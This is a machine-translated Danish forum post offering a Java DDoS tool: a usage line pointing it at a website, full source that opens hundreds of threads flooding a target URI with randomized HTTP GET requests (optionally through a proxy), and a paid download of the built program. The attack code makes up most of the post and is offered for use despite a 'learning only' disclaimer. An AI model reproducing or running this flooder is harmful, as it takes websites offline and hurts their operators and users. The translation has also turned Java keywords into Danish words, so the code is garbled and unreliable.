Denne artikel er en spejling af maskinoversættelse, klik venligst her for at springe til den oprindelige artikel.

Udsigt: 15524|Svar: 0

[Tips] Java-versionen af D-DOS angriberprogrammet

[Kopier link]
Opslået på 01/12/2014 15.21.57 | | |
JAR-kode
dDOS-angreb implementeret af Java.
Men det adskiller sig ikke fra traditionelle dDo'er.
Denne software er et DDOS-angreb på en side.
Sådan bruger du:
Java -jar ccddos.jar www.xxx.com 80 10 /index.do brugernavn=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
importere java.nio.channels.SocketChannel;
import java.util.Iterator;
importer java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* Dæmontråde
*
* @author administration
*
*/
offentlig klassetest {
    privat String-vært, uri, param;
    privat int havn;
    privat finalevektor<CCDDOSThread> v = ny vektor<CCDDOSThread>();
    privat InetSocketAddress isa;
    private int-tråde = 500; Antal tråde
    privat tilfældigt r = ny tilfældig();
    privat lang timeout = 5000 pund;

    /**
     * Åbn angrebet
     */
    public void start() {
        for (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = ny CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = ny Timer();
        t.schedule(new TimerTask() {
            public void run() {
                int-antal = 0, timeoutthreads = 0;
                lang ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> = v.iterator(); it.hasNext(); ) {
                    CCDDOSThread th = den.næste();
                    hvis (th.isCancle() || !th.isAlive()) {
                        it.fjern();
                        th = null;
                        tæl++;
                    } ellers hvis (ct - th.start > timeout) {
                        Timeout, ekstern afslutning
                        timeoutthreads++;
                        th.setCancle(true);
                        th.interrupt();
                        it.fjern();
                        th = null;
                        tæl++;
                    }
                }
                hvis (count == 0) {
                    returbillet;
                }
                System.out.println("Tråden er blevet lukket:"+count+", hvor timeout-tråden er forbundet:"
                        + timeout-tråde);
                for (int i = 0; Jeg < tælle; i++) {
                    CCDDOSThread th = ny CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100p);
        System.out.println ("Daemontråd startede:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        hvis (args.length < 6) {
            System.out.println ("Instruktioner:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } ellers hvis (args.length >= 8) {
            Sæt op med en agent
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        Test m = ny test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = ny InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * Angrebstråde
     *
     * @author zhanghongbo
     *
     */
    class CCDDOSThread udvider Thread {
        privat boolsk cancle = falsk;
        offentlig lang start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            vend tilbage cancle;
        }

        public void run() {
            lang start = System.currentTimeMillis();
            Selector-selector;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    System.out.println(ex.getMessage());
                    cancle = sand;
                    selector.close();
                    returbillet;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 && !cancle) {
                    hvis (System.currentTimeMillis() - start > timeout) {
                        cancle = sand;
                        Break vent;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> det = readykey.iterator();
                    mens (it.hasNext() && !cancle) {
                        hvis (System.currentTimeMillis() - start > timeout) {
                            cancle = sand;
                            Break vent;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.fjern();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        hvis ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            Strenghoved = "GET " + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Forbindelse: Close\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = sand;
            }
        }
    }
}
[/mw_shl_code]

Færdigt produkt og kildekode download: java ddos.zip (8.42 KB, Antal downloads: 0, Salgspris: 2 Korn MB)





Tidligere:Lad os tale om det største 400G-mystiske DDoS-angreb i historien
Næste:Send iPhone 6 for at tale om artefakt-crack-versionen uden point
Ansvarsfraskrivelse:
Al software, programmeringsmaterialer eller artikler udgivet af Code Farmer Network er kun til lærings- og forskningsformål; Ovenstående indhold må ikke bruges til kommercielle eller ulovlige formål, ellers skal brugerne bære alle konsekvenser. Oplysningerne på dette site kommer fra internettet, og ophavsretstvister har intet med dette site at gøre. Du skal slette ovenstående indhold fuldstændigt fra din computer inden for 24 timer efter download. Hvis du kan lide programmet, så understøt venligst ægte software, køb registrering og få bedre ægte tjenester. Hvis der er nogen overtrædelse, bedes du kontakte os via e-mail.

Mail To:help@itsvse.com